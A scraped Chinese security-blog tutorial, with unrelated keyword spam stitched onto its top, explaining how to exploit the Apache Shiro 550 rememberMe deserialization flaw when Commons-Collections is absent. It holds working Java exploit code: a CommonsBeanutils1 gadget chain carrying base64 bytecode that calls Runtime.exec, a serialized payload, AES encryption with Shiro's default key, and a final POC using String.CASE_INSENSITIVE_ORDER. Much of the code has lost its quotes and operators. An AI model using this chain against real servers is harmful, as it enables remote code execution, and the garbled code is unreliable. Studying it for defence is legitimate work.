成都设计网站的公司名称,重庆网上找工作哪个网站好,discuz论坛和网站同步登录,百度的网址怎么写文章目录 【java安全】无Commons-Collections的Shiro550反序列化利用Shiro550利用的难点CommonsBeanutils1是否可以Shiro中#xff1f;什么是serialVersionUID#xff1f;W 无依赖的Shiro反序列化利用链POC 【java安全】无Commons-Collections的Shiro550反序列化利用
Shiro5… 文章目录 【java安全】无Commons-Collections的Shiro550反序列化利用Shiro550利用的难点CommonsBeanutils1是否可以Shiro中什么是serialVersionUIDW 无依赖的Shiro反序列化利用链POC 【java安全】无Commons-Collections的Shiro550反序列化利用
Shiro550利用的难点
前面我们学习Shiro反序列化漏洞时使用了一个简单的shiroDemo在这个Demo中引入了一些依赖
shiro-core、shiro-web这是shiro本身的依赖javax.servlet-api、jsp-api这是JSP和Servlet的依赖仅在编译阶段使用因为Tomcat中自带这 两个依赖slf4j-api、slf4j-simple这是为了显示shiro中的报错信息添加的依赖commons-logging这是shiro中用到的一个接口不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误commons-collections为了演示反序列化漏洞增加了commons-collections依赖
前4个都与项目本身有关如果缺少会导致项目出错。但是第5个只是为了演示漏洞但是实际情况可能m目标没有安装Commons-Collections依赖这个时候Shiro550反序列化还能用吗
我们将演示项目中的Commons-Collections给删除掉然后刷新maven 我们发现项目的依赖中有commons-beanutils 这说明Shiro是依赖于commons-beanutils
的那么之前的CommonsBeanutils1能用吗
CommonsBeanutils1是否可以Shiro中
启动之前的demo项目CommonsBeanutils1如下
public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes Base64.getDecoder().decode(yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS.getBytes());TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][]{bytes});setFieldValue(obj, _name, HelloTemplatesImpl);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());BeanComparator comparator new BeanComparator();PriorityQueue queue new PriorityQueue(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, property, outputProperties);setFieldValue(queue, queue, new Object[]{obj, obj});ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));}
}将字符串通过key加密
public class Cipher {public static void main(String[] args) {String s rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQBAARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMXAYIVOACAAB4cAAAA5nK/rqAAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHABoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQAQADKClWBwAbAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABAACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEgAEABMADQAUAAsAAAAEAAEAEAABABEAAAACABJwdAASSGVsbG9UZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg;byte[] bytes Base64.getDecoder().decode(s.getBytes());AesCipherService aes new AesCipherService();byte[] key java.util.Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA);ByteSource ciphertext aes.encrypt(bytes, key);System.out.printf(ciphertext.toString());}
}点击rememberMe时发送过去修改rememberMe
发送一个payload但没有成功 控制台提示了serialVersionUID
什么是serialVersionUIDW
如果两个不同版本的库使用了同一个类而这两个类可能有一些方法和属性有了变化此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此Java在反序列化的时候提供了一个机制序列化时会 根据固定算法计算出一个当前类的serialVersionUID值写入数据流中反序列化时如果发现对方的环境中这个类计算出的serialVersionUID不同则反序列化就会异常退出避免后续的未知隐患
所以这里出错的原因就是本地使用的commons-beanutils是1.9.2版本而Shiro中自带的 commons-beanutils是1.8.3版本出现了serialVersionUID对应不上的问题
解决方法也比较简单将本地的commons-beanutils也换成1.8.3版本。 更换版本后再次生成Payload进行测试此时Tomcat端爆出了另一个异常仍然没有触发代码执行 Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] 简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator 类从包名即可看出这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections但是在Shiro中它的commons-beanutils虽 然包含了一部分commons-collections的类但却不全。这也导致正常使用Shiro的时候不需要依赖于 commons-collections但反序列化利用的时候需要依赖于commons-collections。 难道没有commons-collections就无法进行反序列化利用吗当然有。
无依赖的Shiro反序列化利用链
我们先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在 哪里使用了 在 BeanComparator 类的构造函数处当没有显式传入 Comparator 的情况下则默认使用 ComparableComparator 。 既然此时没有 ComparableComparator 我们需要找到一个类来替换它满足下面这几个条件
实现 java.util.Comparator 接口实现 java.io.Serializable 接口Java、shiro或commons-beanutils自带且兼容性强
我们可以找到一个CaseInsensitiveComparator:
public static final ComparatorString CASE_INSENSITIVE_ORDER new CaseInsensitiveComparator();private static class CaseInsensitiveComparator implements ComparatorString, java.io.Serializable {// use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID 8575799808933029326L;public int compare(String s1, String s2) {int n1 s1.length();int n2 s2.length();int min Math.min(n1, n2);for (int i 0; i min; i) {char c1 s1.charAt(i);char c2 s2.charAt(i);if (c1 ! c2) {c1 Character.toUpperCase(c1);c2 Character.toUpperCase(c2);if (c1 ! c2) {c1 Character.toLowerCase(c1);c2 Character.toLowerCase(c2);if (c1 ! c2) {
// No overflow because of numeric promotionreturn c1 - c2;}}}}return n1 - n2;}/*** Replaces the de-serialized object.*/private Object readResolve() {return CASE_INSENSITIVE_ORDER;}}这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类其实现了 Comparator 和 Serializable 且位于Java的核心代码中兼容性强是一个完美替代品。 我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对 象用它来实例化 BeanComparator
final BeanComparator comparator new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);POC
最终的CommonsBeanutils1Shiro利用链
package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CommonsBeanutils1Shiro {public static void setFieldValue(Object obj, String fieldName, Objectvalue) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][]{clazzBytes});setFieldValue(obj, _name, HelloTemplatesImpl);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());final BeanComparator comparator new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);final PriorityQueueObject queue new PriorityQueueObject(2,comparator);
// stub data for replacement laterqueue.add(1);queue.add(1);setFieldValue(comparator, property, outputProperties);setFieldValue(queue, queue, new Object[]{obj, obj});
//
// 生成序列化字符串ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}
}